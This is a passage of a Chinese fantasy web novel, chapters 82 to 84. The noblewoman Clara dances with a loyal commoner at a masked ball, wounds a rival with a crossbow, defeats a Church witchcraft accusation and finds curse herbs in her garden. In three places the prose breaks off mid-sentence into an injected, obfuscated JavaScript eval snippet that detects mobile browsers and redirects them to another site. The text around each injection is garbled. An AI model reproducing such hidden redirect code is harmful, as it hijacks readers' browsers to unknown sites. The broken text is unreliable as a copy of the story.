最后他留下一句,“玩得开心”,便下楼去迎接伊丽莎白王后。 克劳拉以为他是因为脸才不参加舞会,小声询问他的情况,“安德鲁的脸……” “是他自作自受。”艾洛薇神情冷漠,不想多说,转而又说起挑花的事。 对于她的态度,克劳拉留了个心眼,看来诅咒解除后两人之间又发生了什么,或许这是安德鲁诅咒复发的原因。 在前往女官处选花的途中,克劳拉原本想和艾洛薇错开,毕竟艾洛薇实在太显眼了,而她两又经常形影不离,克劳拉并不想被认出。 只是艾洛薇奇怪打量着她,“亲爱的,你对你的身高是一点自知之明都没有。” 克劳拉:…… 在北境不觉得,因为女战士和霍德华家两姐妹都很高,哪怕她又长高了一英寸,也还是正常水平。 结果等她回王都,发现身边的贵女都偏矮,她的身高简直就像艾林当初在海伦女校一样显眼。 弄得贵女都怀疑她是不是也和艾林一样是男人。 放弃挣扎的克劳拉老实和艾洛薇走在一起。 两人来得稍晚些,大部分贵族已经选好花进入会场了,选花处零散几个人也很快选好进去。 艾洛薇当然毫不犹豫选择鸢尾,浅蓝色的鸢尾被她别在胸口处。 女官觑了一眼克劳拉,克劳拉正低头认真挑选花,桌台上摆放了数十个花篮,每一个花篮里花的品种都不相同,颜色各异。 最后她还是选择了最普通但对她来说有特殊意义的洋芋花,小小的一簇白色花团完美地和她的裙装融为一体。 “你怎么选了这个?”艾洛薇也不是看不上洋芋花,最近地豆可是王都新宠,只是洋芋花确实有些朴素了,对比克劳拉的身份, “我看到德文希伯爵选的月季,还以为你今年打算和伯爵阁下跳舞。” “开什么玩笑,我想和伊登跳舞还用等舞会,况且谁要和自己哥哥跳舞。”克劳拉毫不掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201511|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰自己嫌弃的语气。 “伯爵阁下今天估计会很受欢迎。”艾洛薇说着,心里想的却是,幸亏克劳拉选的是冷门的花而且订婚了,不然她肯定比她的哥哥更受欢迎。 克劳拉没有女长辈引路,很少参加聚会。所以她并不知道,每次兄妹两同时出现时都会是人群的焦点。但比起一直活跃在大众视野里的伊登,他的神秘同胞妹妹其实更让人好奇。 从很久以前艾洛薇就注意到克劳拉了,只是不知道为什么克劳拉似乎一直认为投注在她身上的目光都是因为伊登。 艾洛薇原本还想好好盯着克劳拉,看她到底要做些什么。结果等进入会场后,好几波人上前和她交谈,等她回过神,克劳拉已经消失在人群里——这是克劳拉最擅长的事,只要她想她可以成为人群的焦点,也可以完全隐身。 不过艾洛薇并没有找寻克劳拉,等到舞会正式开始时,只要跳舞,克劳拉总会是最显眼的那一个。 偷跑的克劳拉穿梭在人群里,太久没穿礼裙,厚重的裙摆让她有些不太适应。 她的身高在人群里确实算显眼,给她让路的贵族们都会下意识比较一番。 只不过今晚会场有一位比她更显眼的家伙,也是克劳拉的目标。 塔穿着定制的礼服,戴着统一的面具,不适地调整了几次领巾。贵族的服装让他束手束脚,周围打量的视线也让他不舒服。 “瞧他那副粗鲁的样子,是哪个乡下来的小贵族吗?” “北边来的吧,据说他们那边的人都长得熊一样壮。” “现在真是,什么人都能往王都跑,小贵族待在自己的领地不就好了,王都都让他们弄臭了。” 窃窃私语传来,身旁的莫兰特安慰他,“不用在意,王都的贵族就是这种高高在上的样子,谁都瞧不起。” 这一点他深有体会,也正是因为受不了王都的贵族才跑回德林郡。 舞会还没正式开始,但已经有人在挑选并邀请自己的舞伴了。莫兰特猜到克劳拉特意让人举办假面舞会就是为了身边这位,搞得他有些嫉妒了。 只是塔选择的花实在有些不起眼,是莫兰特不认识的花种。他心中纠结,心想着克劳拉总不会选这种朴素的花,还劝塔选择鸢尾、蔷薇那种高贵的花,但塔执意拿了这一种。 算了,就当塔是来见见世面的,他原本这么想,抬头发现塔的目光直直望向某个方向,他转头一同望去。 粉色的洋芋花别在塔胸口,显得有些滑稽,克劳拉被逗笑了,就像是野兽被迫穿上华丽的衣装,还得戴上可爱的花朵。 “晚上好两位。”她先一步打招呼,莫兰特选择的是一簇铃兰,他正瞪大眼不敢置信地看向克劳拉选择的花。 “您……怎么……”莫兰特心想是他多余了,两位或许早已经约定好了选什么。 “你猜对了我选的花,按照约定,你可以成为我的舞伴。”克劳拉将手伸向呆滞站在原地的塔,“你要成为我的舞伴吗?” 怔愣了一瞬,如雷的心跳差点让塔忘记了方才所有的不适,轻轻握住了这只手,他郑重道:“当然,我的荣幸。” 二楼的伊登捏碎了手中的高脚杯,索性里面的酒液已经空了,但也引得身旁人疑惑望过来。 “那是谁?”霍恩顺着他的视线,看到了克劳拉邀请舞伴这一幕。虽然他并不喜欢克劳拉和安德鲁的婚约,但不代表克劳拉可以选择别人作为舞伴。 伊登瞥他一眼,知道他的不满,“德林郡的一位小贵族,反正殿下也没有参加舞会,你总不能让我妹妹光看着别人跳舞吧?” 温斯顿目光沉沉地与他对视,良久温斯顿先一步移开眼,抬手唤来侍从替他收拾破碎的玻璃。 “霍恩,以前我觉得王宫里好,现在我觉得边境才是最好的,难怪你非得替陛下守着那块地。”伊登半趴在栏杆上,他眯着眼懒散道。 温斯顿听懂了他的言下之意,他意识到伊登和安德鲁一样,都不再是他能随意操控的对象了。 82. 第82章 塔的舞步,全都是克劳拉教的,她坏心眼地教给他女步。 不过塔分辨不清舞步的不同,他只管跟着克劳拉的步履来,周围异样的目光和克劳拉比起来不值一提。 同在舞池里的艾洛薇,哪还不明白克劳拉非要举行假面舞会的原因。她与克劳拉错身而过时,留下一句,“结束后别跑!” 塔自然也听到了,但克劳拉装作没听到,贴近他耳边,“这支舞跳完就出去,我可不想被人当稀奇品一样围观。” 仅一支舞蹈,塔就已经很满足了。结束后,他顺从地跟随克劳拉挤进人群。 下一支舞曲响起,又有其他贵族涌进舞池,艾洛薇一时不察又让克劳拉跑了,她气得嘟囔着,上到二楼。 克劳拉带着塔逆着人群,熟练地溜出大厅,来到室外花园。又按照记忆找到喷泉旁的长椅,捧着裙摆坐下。 “受够了高跟鞋,穿靴子不好吗。”她顺手将面具取下,一拍身边的空位,示意塔坐过来,“你今天的舞步没有出错,表扬一下。” “是您教得好。” 天知道她以前被踩了多少次,差点就不想教了。 不过是看在这一年里,塔老实听话,还把德林北那边的维尔图族收复,一并弄进了德林军队里,克劳拉才决定给他点甜头。 德林郡如今拥有了上万士兵,一半是重骑兵。再加上女巫和西亚尔玛的兵力,即使教会现在就攻打德林郡,她们也有一战之力。 更别提巫师塔收容的各种异端,放在教会绝对是会被烧死的存在。这些所谓的异端,其实也就是和教会理念不同而已,巫师塔愿意为他们提供实验的地方和钱财,只要给出足够的价值。 教会的攻城武器和东方的神秘武器都被巫师塔的家伙研究透了,只可惜德林郡目前拥有的金属和媒还是有限,不能大规模生产。 克劳拉踹掉高跟鞋,将脚踩在塔大腿上,揉着脚踝,一想到晚些时候她还要踩着这双高跟鞋应酬,心里发愁。 “幸好只在王都待半个月,你想去逛逛王都吗?让莫兰特陪你。” “不能和您一起逛吗?” “别撒娇!我还有很多事。”好几个宴会要参加,还有和阿方索的会谈,还要去找一趟黑巫师。 不过看着塔低垂着头认真替她按摩小腿的样子,克劳拉转念一想,“看我能挤点时间吗。你最近跟在伊登身边,他估计会经常去猎场,你跟着多认识些人。” 塔想要待在她身边,迟早要面对这些社交。克劳拉不会帮忙,但机会还是会给他,能不能把握住是他的事。 古斯塔比克劳拉预料的晚了一年出兵,最迟7月他就会来德林郡借兵,到时候克劳拉打算将塔送到古斯塔身边。 就看塔能否让古斯塔为他破例,以平民身份授勋了。塔真做到了的话,将他一直留在身边也无妨,克劳拉眯眼想着。 算算时间又该回芙洛宫里了,她晃着腿,让塔替她穿鞋。 “除了一直待在我身边,你还想要什么?”克劳拉忽然问道,“趁我现在心情好,说不定就答应你了。” 夜色里,塔的动作一顿,他缓缓抬头望进克劳拉的眼睛里。 “嗯?”克劳拉歪头示意他快点回答。 塔像下定了什么决心一般,喉结滚动两下,“我想要您一个吻。” 克劳拉有些意外,又觉得正常。塔这一年里毫不掩饰他的心思,伊登私底下和他打过几次。他们以为避开她,她不知道,但整个城堡发生的事都在她的掌控中。 微凉的指尖触碰塔的睫毛,后者眼睛轻眨动两下,并没有移开视线。从眼角划到脸颊,又到塔的唇角。 克劳拉笑了,说:“好。” 勾着塔的脖子,让他低下头,又将面具摘下。在他期待又克制的目光下,克劳拉慢慢凑近,但又停在离他唇边几指的距离。 两人呼吸交错,克劳拉注视着这双眼,金色眼眸里情绪流转,专注地映出她的模样。 在这纯粹目光注视下,克劳拉犹豫了下,手中微用力,吻在塔的眉心。 腰间有一瞬间的束缚感,很快又消散,仿佛是她的错觉。 松开手时,她望见塔眼里的失望一闪而过。 “你又没说吻哪!”克劳拉撇开眼,刚才她动摇了一瞬,是否还要利用塔的感情。 但比起一份纯粹的爱意,还是权力更重要,所以她只犹豫了这么一个瞬间。 “走了……” “没想到准王妃在婚前就养了一位情人。”黑暗中,有人笑着从花坛后走出,还轻轻附掌。 塔立刻站起来挡在她身前,警惕注视着来人。 来人摘下面具,在月光下露出一张年轻的面庞,似乎很自信克劳拉认识这张脸。他摘下礼帽向克劳拉行礼,“日安,克劳拉·德文希小姐。” 这张脸克劳拉完全不认识,来人这幅语气似乎她应该认识的样子,克劳拉没有起身,直白问道:“你谁?” 她的坦率让来人动作一僵,脸上的笑容差点维持不住,他皮笑肉不笑回答:“初次见面,我是莱文·温斯顿。” “您特意和情人选择在这种偏僻的地方约会,肯定是不想让人发现。不用担心,我是站在您这边的,只要您……” 听到是他,克劳拉来了些兴趣,没有打断他,站起身。 在莱文的注视下,克劳拉慢慢走近他。被这双漂亮的绿眼睛注视着,莱文有些飘飘然,心中又有些不屑,眼前的女人和他以前拥有过的女人一样,随便几句话就能哄骗。 也不知道黑巫师大人为什么忌惮她,明明不过是一个无知少女。 “只要什么?”克劳拉轻声问他。 “只要你帮我简单的小忙,放心,对您这样美丽的女孩来说很容易就能办到。”比起克劳拉,他更忌惮不远处那位,但那位一动不动站在原地,任由克劳拉慢慢贴近他。搞什么,不过是个怂货,莱文便不再关注塔。 克劳拉慢慢走近这位剧情里她未来的丈夫,比穿着高跟鞋的她还矮几寸,眼中嫌弃一闪而过,她将手伸进裙底的口袋中。 “我也有点小事需要莱文先生你帮个忙?” 莱文下意识问:“什么忙?” 黑暗中传来很细微的“咔哒”声,下一刻,硬物抵到了他的胸口,他僵在原地。垂头望去,是把小型的弓弩。已经上弦,只要主人微微扳动卡扣,弩箭就会射穿他的心脏。 “莱文先生或许不了解我,我这个人很少记仇,但被我记住的一定是深仇大恨。”克劳拉脸上仍然带着笑容,但却让莱文心底发寒, “两年前暗杀我和伊登的人是不是你派来的?最好说实话,不然我手下不稳……当然你也可以大声叫人,看是你快,还是我快。” “不是我!”莱文一个激灵,这会才想到他可以后退,但不知何时,被他忽视的塔已经悄悄出现在他身后,堵死了他的后路。 “你在撒谎!三头鸟纹章不是你还是谁,不说实话我就射穿你的心脏,再打烂你的脑子!” 花坛不远处还有侍卫巡逻,克劳拉声音并不大,堪称轻柔,莱文额头却冒出冷汗。 等不到他的回答,克劳拉放在卡扣上的手指微动,避开心脏,射穿了他的左肩。 莱文只觉一阵剧痛传来,想要发出惨叫,却被身后的塔勒住脖子捂住嘴,只能惊恐地瞪大眼。 始作俑者注意力甚至不在他身上,皱着眉说:“你的手套不能要了,一会丢掉,手也要消毒,脏死了。” 他听到身后的男人低声应诺。 冷静地再度上弦,克劳拉问:“现在能说了吗?我挺敬佩你的胆量,居然就这么两手空空出现在我面前,还试图威胁我。” 一个侍卫都不带就敢出现在她面前,真以为她是什么软萌小羊羔呢,这么蠢真和黑巫师有关系吗? 克劳拉有些苦恼,一会真将人杀死了,怎么处理他。 谁家贵女会在裙底藏弓弩!莱文快疼疯了,这时他才记起黑巫师让他不要擅自接近克劳拉,但此时已经晚了。 他用眼神示意塔松开他的嘴,克劳拉朝身后一抬头。 塔手松开,失去支撑的莱文捂着伤口半跪在地上,哆嗦着道:“是阿尔蒙大人的主意……他说如果我不能娶你就得杀了你。” 克劳拉用弓弩指着他的额头,“为什么要娶我?一次性说完,不然下一次就射穿这里。” “因为……” 危险的感觉从身后直逼而来,克劳拉迅速一脚踹倒莱文,朝着身后一片黑暗之中连射几箭。 塔也即刻挡在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑巫师所说的话让克劳拉心中微沉,这家伙怎么会知道这些。 “他说的都是真的吗?”塔微侧头询问她,神色莫名,手中的树枝被用力折断。 摇摇头,克劳拉思索着该怎么和塔说明。 “想知道更多,独自一人来温斯顿公爵府来见我……”在两人分神时,黑巫师又重新隐进黑暗之中。 塔想要去追,但附近一声刺耳的尖叫打破夜色的平静,随后是骑士们整齐的脚步声。 “被摆了一道。”克劳拉这才注意不断蔓延的枯萎,想来是这边的异常被贵族发现了。 塔替她提溜着像死狗一样的莱文——他已经因为失血过多晕过去了。 骑士的声音逐渐逼近,克劳拉思索着该怎么破局,其实也什么难的,反正莱文这家伙昏死了,随便说遇到了黑巫师。 就是这家伙醒来后乱说怎么办,索性让他死在这里算了。 算了他现在还不能死,克劳拉将弓弩收进袋中,还是拿出一瓶药水,让塔给莱文灌进去。 她有些想不通,黑巫师就这么扔下莱文了?她还以为莱文对黑巫师来说很重要,还是说那家伙笃定她不会杀死莱文。 塔还在等她的动作,克劳拉叹口气,将面具重新给他戴好,“看来计划有变,这些天你估计得待在我身边了。” “不许动!你们是什么人?”骑士们举着火把将三人团团围住。 克劳拉向前两步,将塔挡在身后,火光中,安德鲁认出了她的身影。 “克劳拉,你在这里做什么?出什么事了?” 他微抬手,示意骑士们放下武器,目光一转才注意到塔手中莱文,他略迟疑,“这是……莱文·温斯顿?” 见到是安德鲁,克劳拉稍松了口气,“是他,我们遇见了黑巫师,他的伤正是……” “安德鲁殿下,您是要包庇魔女吗?”轻轻柔柔的女声在另一侧响起。 克劳拉动作一顿,朝着右侧望去,王后伊丽莎白从花园的另一边缓缓走来,身旁是红字大主教,身后跟着众多国王骑士, “魔女克劳拉,立刻放开我的兄长,否则我将以国王的名义,在此将你处决——” 83. 第83章 身后的草丛里熙熙攘攘的声音传来,其他贵族们也提着油灯凑近这座花园。 哪怕骑士警告他们可能有危险,他们仍一窝蜂挤到附近。 原来在这里等着她,克劳拉嗤笑一声,教会可真是执着于将魔女名头安在她头上。 她微抬头,让塔将莱文扔给他们,伊丽莎白立刻让国王骑士接住莱文,并带下去治疗。 安德鲁神色略带不满,“王后殿下,您这是什么意思?魔女判定需要严格的程序,克劳拉是帝国的准王子妃,您随口一说考虑过后果吗?” 伊丽莎白他们今日的目的并不是咬死克劳拉是魔女,而是将她关进教会的牢笼里,只要有嫌疑就行。 她身旁的红衣大主教,微微抬手,“诸位有所不知,早在一年多前,教会内部就有人曾目睹这位魔女在西亚尔玛献祭了一位男婴,并害死了婴孩一家人。但西亚尔玛的霍德华侯爵选择了包庇” 周围贵族纷纷发出一声惊呼,或恐惧或憎恶的目光立刻投向克劳拉——在他们看来一位红衣大主教没有必要撒谎。 “如今她更是大摇大摆来到王都,或许过些时日就要与王子殿下结婚,教会实在不忍类似魔女玛丽的情况发生。”红衣大主教高举着十字架,大义凛然的模样。 教会发什么疯,是觉得古斯塔如今不在王都,所以对西亚尔玛的事毫无顾虑了吗?何况蕾莱的妹妹没有死,在西亚尔玛的姐妹会待得好好的。 “没错!她就是魔女!我的丈夫肯定是被因她诅咒而死!因为我早在三年前就看穿她的身份!”人群里跳出位贵女,她声嘶力竭指控克劳拉。 克劳拉回头看一眼出声的女人,似乎是三年前女校礼堂那些人之一,克劳拉根本不认识她的丈夫。 “是的!她是魔女!因为从教会手中救下了萨曼那个疯女人——普通人根本做不到!” “德林郡还有一座巫师塔——收容了各种巫师和异端。魔女打算汇聚这些力量毁灭王都!” 克劳拉平静地听着,感觉她身后的塔蓄势待发,目光凶狠地直逼这些跳出来指控她的人,让他们瑟缩的后退几步。 在他手臂上拧一把,让他冷静些,“别急,让我们听听这位大主教还有什么要说的。” 红衣大主教对她的反应有些奇怪,克劳拉实在太冷静了,被指控魔女的女人通常会努力为自己辩解。 他都已经想好一旦克劳拉辩解,又该怎么堵死她,结果对方就像是在看小丑表演一般。 微微一顿,他道:“所以你是承认你的魔女身份了吗?” “没有承认,因为我认为你是恶魔假扮的红衣大主教,你看你都没有圣殿骑士跟随,至今也没展现你的主教纹章。”克劳拉双手环胸,两指捏着面具晃动着,嘴里却倒打一耙, “王后殿下是被恶魔蛊惑了吧,这很正常,恶魔经常会伪装成有权势的人模样,诱骗别人。说起来,今晚另外两位主教大人都不见踪影。” 这是教会常用的戏码,被用到他们自己身上时,红衣大主教却气得直哆嗦。 安德鲁迅速反应,让狮鹫骑士上前检查红衣大主教的纹章,并询问两位主教大人的去向。 红衣大主教只得拿出证明身份的纹章,又表明教会有要事,另外两位主教已经回教堂。 狮鹫骑士确认纹章真实,朝安德鲁点头。 “玛丽就算是魔女,也是我的母亲、王后的亲姐姐,希望主教阁下注意言辞。”安德鲁沉声道。 温斯顿公爵本人就在附近,伊丽莎白朝他所在的方向觑了眼,咬唇还是没有出声。 克劳拉当然没指望就这样破教会的局,只是拖延些时间,她悠悠道: “你们教会不是有其他手段验证是否是魔女吗,早点拿出来。还是说现在教会可以不经过审判,直接越过王室,张嘴就说人是魔女?那我还说这里所有人都是魔女。” “德文希家是坚定的保王派,我是安德鲁的准王子妃,你们教会越过王室指控我,是为了报复陛下吗?这些跳出来指控我的是你们的爪牙吗?这件事温斯顿家也有参与吗?” 一串串追问从克劳拉口中冒出,安德鲁和温斯顿公爵的脸色越来越黑,方才几位跳出来的贵族也被拉回人群里,不敢站队。 红衣大主教被问得哑口无言,他这才想起,索滋帝国和其他国家不同,至少王都的贵族大都是王室的簇拥。克劳拉将他们的动机上升到教权和王权的争斗,这些贵族立刻安静老实,不会冒头。 “不要胡言乱语,教会只是为了王都民众安全,确保魔女不会危害王都……” “那就拿出你们验证魔女的法子,只会说算什么?”克劳拉嘲讽。 “圣水!对!只要经过圣水的洗礼!就能确定你是不是魔女!” 红衣大主教从袋中拿出一个精致的瓶子,瓶中神秘液体微微晃动。 “早点拿出来,哪还这么多事。”克劳拉走进几步伸手,她其实心里有些没底。这水多半不是真正的圣水,会发生什么她也不清楚,但她相信就算受了点小伤也无妨,总归塔在身后,她能全身而退。 她的靠近,让红衣大主教脚步一后撤,很快又稳住身形。 紧张地打开瓶塞,这是专门针对女巫制造的诅咒药水,只需要一点就能伤害到女巫。这么一瓶泼到女巫身上甚至能让她们使不出任何魔法。 根据圣殿骑士的讯息,克劳拉绝对是一位女巫,她要为她的傲慢付出代价—— 几滴液体被倒在克劳拉手背上,红衣大主教目含期待,嘴角高扬,迫不及待想看克劳拉发出惨叫。 但半天过去了,什么都没有发生。 克劳拉甚至还用另一只手捂嘴打了个哈欠,“好了吗?” “这不可能!这不可能!你怎么不是女巫?”红衣大主教不敢置信,他又撒了一些药水在眼前人身上,仍然无事发生。 教会这些人,原来压根没了解过她的身份啊,克劳拉简直无语,“你的圣水证明了我不是魔女。” 红衣大主教又想去掏指针,克劳拉绝对是女巫!不然那些女巫发什么疯跟随她!越心急他越找不到指针。 他的错愕与慌乱太显而易见了,安德鲁质问,“所以你们并没有任何证据证明克劳拉是魔女,只是随口指证?王后殿下也是被你们利用了?” “这是针对魔女的诅咒药水!一定是她魔力太强大了,所以隔绝了诅咒!肯定是这样!” 克劳拉忽然夺过他手中的瓶子,将里面所有的水朝他泼去,水花四溅,还溅到主教身旁的伊丽莎白身上,伊丽莎白立刻尖叫着跳开。 但比她声音更大的是红衣大主教的惨叫声,在众人惊恐的注视下,大主教的皮肤居然像被滚水烫到一般,冒出水泡,他痛苦地捂住脸。 国王骑士立刻围在王后身边,确认伊丽莎白只是被惊吓到,并没有其他症状。反而是大主教面部已经不再年轻,迅速枯老,像这些被吸走生命力的花草一般。 他掩面在地上翻滚着,渗人的惨叫声让周围的人脸色微微发白,连见惯血腥的骑士们都脸色微变。 只有克劳拉和塔面无表情,克劳拉甚至有些想笑。针对女巫的药水居然对这位神父也起作用,有些太地狱了。 “这是出什么事了!大主教阁下!”阿方索终于匆匆赶到,身后跟着的艾洛薇立刻错开安德鲁来到克劳拉身边,与她窃窃私语。 “大主教阁下拿出一瓶水说是圣水,但这水被泼到他身上后……”安德鲁也被这一幕弄得满心疑虑。 阿方索立刻拿出一瓶类似的水,应该是真正的圣水,也不知道他们的圣水到底是什么,克劳拉疑惑。 但红衣大主教反而极力躲避圣水,他嘶声让阿方索不要接近。阿方索抬头与克劳拉对视一眼,最后下令让他身后的圣殿骑士将大主教带走。 他声音沉痛,“大主教阁下已经被恶魔蛊惑了,没想到恶魔的爪牙居然藏得如此深——” “所以,”克劳拉抱胸,目光直逼身后的贵族群,“可以确认我不是魔女了吧?” 方才指控她的人,各个缩在人群里不敢出声。被她目光扫过的贵族们,甚至微微后撤了几步。 “您当然不是魔女!克劳拉殿下,很抱歉让您受到惊吓,教会会对您作出补偿。”阿方索真诚地向她行礼,“也非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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克劳拉这才注意到,腐蚀花草的药水还没有失灵,仍然在向周围的花草蔓延,方才只有一小片花园,如今已经有大半个草坪。 该死的黑巫师,克劳拉咬牙,这可是玛丽的花园! 安德鲁立刻询问阿方索有什么解决方法,阿方索蹲下身抚摸过这些枯草,沉痛摇头道:“抱歉,我无能为力。” “怎么会这样……被恶魔附身的家伙不是已经离开了吗……说到底花园最开始怎么变成这个样子的……”贵女边说着,畏惧的目光又忍不住投向克劳拉。 “恶魔都说克劳拉是一位十分强大的魔女……连恶魔都感到害怕的魔女……” 克劳拉拉住想替她出头的艾洛薇,摇摇头,与其和这些人争吵,不如想办法解决枯萎, “安娜在外面马车上,我去找她。” “若拉!”伊登背着一位老人,一手还拿着巨大的木箱。于暮色中跑来,初春的季节他就出了一身汗,为了找艾洛薇口中的老人。 老人见到满地死亡的花草,立刻示意伊登将他放下,他颤抖着仔细观察花草,最后肯定道:“这是黑巫师的把戏。” “伍德会长,您有办法吗?”阿方索认识这位老人,他原是炼金术士协会会长,但已经隐退多年。 他目光沉痛,花草有灵,就这么死去,令人痛心。让伊登拿来他的箱子,他缓缓打开,半人高的箱子再众人面前展开。 里面是琳琅满目的草药和药粉,他动作迅速地调配起来,阿方索犹豫片刻,上前帮忙。 安德鲁吩咐骑士去监测枯萎蔓延的范围。 很快一股清新的芳草香笼罩着众人,方才的紧张与恐惧都被抚平,众人不由自主变得轻松与愉悦。 不少人都是第一次见识到草药的调配,见阿方索本人甚至在帮忙,其他贵族也不敢多说。 调配完成了,伍德将手中的药粉交给骑士们,“沿着四周撒一些,我只能做到这个程度,让死亡不再扩散。” 众目睽睽之下,他缓缓走向克劳拉,贵族们以为这位炼金术师有办法解决魔女,纷纷屏息敛声。 但他神色恭敬,甚至微微屈身,克劳拉立刻扶住他, “好久不见,这位小姐。您身上有生命女巫的气息,还请让她拯救这片土地。” 84. 第84章 “不管谁问你,你直接回答是德林郡的小贵族。他们要纹章就给他们看德文希家的。” 餐桌上,伊登不厌其烦叮嘱塔,若是让人发现塔是个异族,恐怕会有麻烦。 “好了,你已经说了八百遍了,能安心吃饭吗?”克劳拉用勺子轻击杯沿。 昨晚刚发生那些事,最后伍德与克劳拉交谈完后,那些怀疑她是魔女的贵族又像失忆了一般。 与伍德沟通恢复花园的事,交给了另外的女巫,今天安娜要和她一起外出。 伊登放过了塔,又揪着克劳拉碎碎念起来,“你可不要单独去见那位黑巫师,一听就是陷阱,昨天到底发生了什么……” 塔也望过来,昨天黑巫师那些话也让他非常在意,克劳拉还没有给他解释。当然那些都是克劳拉的事,也没必要向他说明什么,塔又垂着眼用餐。 连莫兰特和安娜也疑惑地询问起昨天的事,他们都只知道宴会上了克劳拉再度被指控为魔女,但具体如何化解一概不知。 “总之先让我安静吃顿饭!”克劳拉一拍桌面,昨晚她没睡好,因为黑巫师心烦意乱。 拍完桌子后,她又觉得不应该因为这些迁怒别人,“抱歉,我心情不好,不是针对你们。” 随意拿了一块面包涂抹上果酱,克劳拉先一步离开了餐厅。 有段时间没有回到伯爵府,她有些怀念在她的花园。这是巴特为她建的,里面种的大都是她喜欢的花草。 以前心情不好时,她就经常待在花园里。 即使他们离开两年,这座花园也一直有园丁打理。 只是这一次,克劳拉忽然在她的花园里发现一些她以前并不认识,但现在觉得眼熟的花种——都是女巫常用的草药。 譬如眼前这束,克劳拉可以肯定这绝对是圣蓟花,它虽然无毒,单独使用甚至有利,但和特殊的草药合用则常用于诅咒。 她心中一突,这些零散的花草种在花园里并不起眼,混杂在众多鲜花之中。 时间还早,克劳拉在花园里四处探寻起来,真的找到了好几种用于诅咒的草药,她逐个记在本子上。 这座花园是她年幼时修建的,肯定和母亲没有关系,巴特种这些做什么,种了多久了? 安娜来到后花园,见到克劳拉正对着摊开的笔记本沉思着。她下意识观察克劳拉的神色,似乎不再像之前用餐时那么烦闷。 于是走近了一些,想看看她现在又在思索什么,“这是禁咒才会用到的药草——” 思绪被打断,克劳拉抬头,问:“什么禁咒?” 安娜仔细考量着,“我不确定,我在大巫的禁书中翻阅过,这种草药和生育有关,但和这个搭配极有可能会起反作用……这些草药并不全,我只能猜到大概和绝育有关。” 玛丽被当成魔女被绞杀正是因为她让国王不能再有任何后代,而她花园里这些草药与绝育有关,玛丽又和巴特认识—— 克劳拉猛地合上本子,“安娜这件事不要告诉任何人,等晚上回来后,我再亲自联系大巫。” 见她满脸凝重,安娜点头应诺,也不知道克劳拉怎么忽然对禁咒感兴趣。她这才想起来找克劳拉的目的,“艾洛薇小姐已经在外面等待。” 居然已经这么晚了,为了不让艾洛薇久等,克劳拉立即去换衣服。 在大厅里撞见了正准备去狩猎的伊登一行人。 伊登向她道歉,早上太吵让她心情不好。 “我没生气,是我的问题。”克劳拉安抚性的贴了下他的脸颊,又和塔和莫兰特挥手告别,“洛薇在外面等我,我赶时间,玩得开心。” 见她像一阵风消失在楼梯间,伊登才放下心。随即冷着脸骑上马奔赴今天的社交场,他可要给昨天乱说话的家伙们狠狠下点绊子。 艾洛薇带着克劳拉来到王都中的咖啡馆。又让安娜和她的侍女一起去城中四处逛逛,等晚餐时再回来。 见到招牌下眼熟的母树,克劳拉侧头,“这也是你……” 艾洛薇挑眉,看破不说破。 这家伙到底有多少产业,克劳拉简直不敢想。 进入咖啡厅后,一股并不好闻的烟雾瞬间从敞开的大门涌向外面,她被呛得掩鼻咳嗽。 上午的咖啡厅人并不多,但坐在一楼的人手中多半捧着奇怪的物品,像很小的锄头,只不到巴掌大小。烟雾正是从那些东西中亦或是那些人口鼻中吐出。 前面的艾洛薇似乎对这种事习以为常,在女侍者的带领下,两人上到三楼单间。 侍者离开后,艾洛薇又在某个地方敲敲打打,打开暗门,邀请克劳拉进去。 这里似乎是艾洛薇的秘密办公处,里面藏有众多书籍,整齐地叠放在一起。文书也分门别类摆放在书桌上。 在她好奇又惊叹打量这间书房,艾洛薇又不知从何处端来红茶和点心,摆在小圆桌上。 随即又在书桌上随意一抽,拿出一卷文书,“你要的贩盐许可,从财政大臣那里弄来可废了些功夫。” 克劳拉接过这份文书,一目十行阅读过。 女巫岭附近有一座巨大的天然血湖,是大巫们常取盐的地方。因为颜色似血,周围没有任何人类敢接近湖边一带,所以也成了女巫们隐居的地方。 德林郡缺盐,大巫没有藏私,直接将血湖的存在告知克劳拉,让她派人去采盐。一年过去了,德林郡盐产过剩,想对外贩盐就必须要许可文书,否则就是蔑视王室。 斐迪南公爵之前就是财政大臣,近些年卧病在床,这个职位让度给了其他家族。只是看艾洛薇的样子,一直想把这个位置再度弄到手。 “你的领地不也在贩盐?没关系吗?”斐迪南公爵的领地是帝国除王都外最富裕的一块地了,据克劳拉所知,正是因为卖盐。 艾洛薇大方地挥手,“我已经找到新的商机,看到楼下那些人了吗,他们抽的正是一种从另片大陆而来的烟草。” 回想到方才那股难闻的味道,克劳拉下意识皱眉,“对人体影响不大吧,会不会有上瘾趋势,这种烟气被旁人吸入后会不会有其他影响?” “放心,我让大巫确认过,少量吸食能提神,愉悦心情,对健康有利无害。” 克劳拉抓住了少量这个关键词,“所以大量会怎么样?” 艾洛薇扬起笑容,手中优雅地为克劳拉冲泡红茶,“烟草价格高昂,我的侍者每次都会反复提醒他们多吸不利于健康。但克制不住自己大量吸食,又和我有什么关系呢?” “洛薇,这不是开玩笑,赚钱也要有底线。”这是克劳拉第一次对她语气严厉。 艾洛薇之前的娼妓产业,在她的强烈要求下被取缔,现在那些女人都转职成为女侍者,只陪聊不做其他交易。 